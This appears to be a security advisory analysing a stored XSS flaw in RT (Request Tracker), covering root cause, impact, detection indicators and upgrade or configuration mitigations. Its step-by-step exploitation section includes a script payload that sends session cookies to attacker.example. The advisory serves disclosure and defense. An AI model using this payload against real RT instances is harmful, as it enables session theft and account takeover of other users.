CVE-2026-44229: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-44229 is a stored Cross-Site Scripting (XSS) vulnerability in Best Practical's RT (Request Tracker), an open-source enterprise issue and ticket tracking system. The flaw exists because uploaded content is served inline by the browser rather than forced as an attachment download, allowing an authenticated attacker to embed malicious JavaScript in uploaded files that executes in the browser sessions of other RT users who view or download the content. Affected versions include RT 5.0.0 through 5.0.9 and RT 6.0.0 through 6.0.2; fixed versions are 5.0.10 and 6.0.3. The vulnerability was published on May 20, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically the failure to set appropriate Content-Disposition: attachment headers when serving user-uploaded files. Instead, RT serves uploaded content inline, allowing browsers to render HTML or execute JavaScript embedded within uploaded files. An authenticated user with upload permissions can craft a file containing a malicious JavaScript payload; when any other RT user subsequently views or attempts to download that file, the script executes in their browser session within the RT application's origin. No public proof-of-concept code has been identified (GitHub Advisory, Red Hat Bugzilla).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser sessions of other RT users, including administrators, who view or download the malicious upload. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential account takeover within the RT instance. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact; however, session compromise of privileged users could enable broader access to sensitive ticket data and administrative functions (GitHub Advisory).

1. Reconnaissance: Identify RT instances running versions 5.0.0–5.0.9 or 6.0.0–6.0.2 that are accessible over the network, using version banners or Nessus scan results.
2. Authenticate: Log in to the RT instance with any account that has file upload permissions (e.g., the ability to attach files to tickets or articles).
3. Craft malicious payload: Create a file (e.g., an HTML file) containing embedded JavaScript, such as <script>document.location='https://attacker.example/steal?c='+document.cookie;</script>, designed to exfiltrate session cookies or perform actions on behalf of the victim.
4. Upload the file: Attach the crafted file to a ticket, comment, or other RT object that other users are likely to access.
5. Wait for victim interaction: When a target RT user (e.g., an administrator) views the ticket and clicks to view or download the attachment, the browser renders the file inline and executes the embedded JavaScript.
6. Harvest results: Collect exfiltrated session tokens or cookies from the attacker-controlled server, then use them to impersonate the victim within the RT application (GitHub Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from RT users' browsers to external or unusual domains shortly after accessing ticket attachments; requests to attacker-controlled endpoints containing cookie or session data in URL parameters.
• Logs: RT access logs showing requests to attachment download/view endpoints followed by unusual external referrers or redirects; web server logs indicating inline content-type serving (e.g., text/html) for user-uploaded files rather than application/octet-stream with Content-Disposition: attachment.
• File System: Presence of uploaded HTML or JavaScript files in the RT attachment storage directory that contain <script> tags or obfuscated JavaScript payloads.
• Browser/Session: Unexpected session invalidation or re-authentication events for RT users; evidence of session tokens being used from IP addresses inconsistent with the legitimate user's location.

The primary remediation is to upgrade RT to version 5.0.10 (for the 5.0.x branch) or 6.0.3 (for the 6.0.x branch), both of which fix this vulnerability by ensuring uploaded content is served with appropriate Content-Disposition: attachment headers. As an interim workaround, administrators can enable the AlwaysDownloadAttachments configuration option in RT to force all uploaded content to be downloaded rather than rendered inline. Additionally, restricting file upload permissions to trusted users only reduces the attack surface. Implementing Content Security Policy (CSP) headers can provide an additional layer of defense against XSS execution (GitHub Advisory, RT 6.0.3 Release).

The vulnerability was disclosed as part of a broader RT 6.0.3 security release on May 20, 2026, which addressed multiple security issues including SQL injection, LDAP authentication bypass, CSRF, and several XSS variants. Red Hat tracked the issue via Bugzilla and the Ubuntu security team issued advisory USN-8506-1 addressing the vulnerability in their packaged versions of RT. No notable independent researcher commentary or significant social media discussion has been identified beyond standard vulnerability aggregator coverage (RT 6.0.3 Release, Red Hat Bugzilla).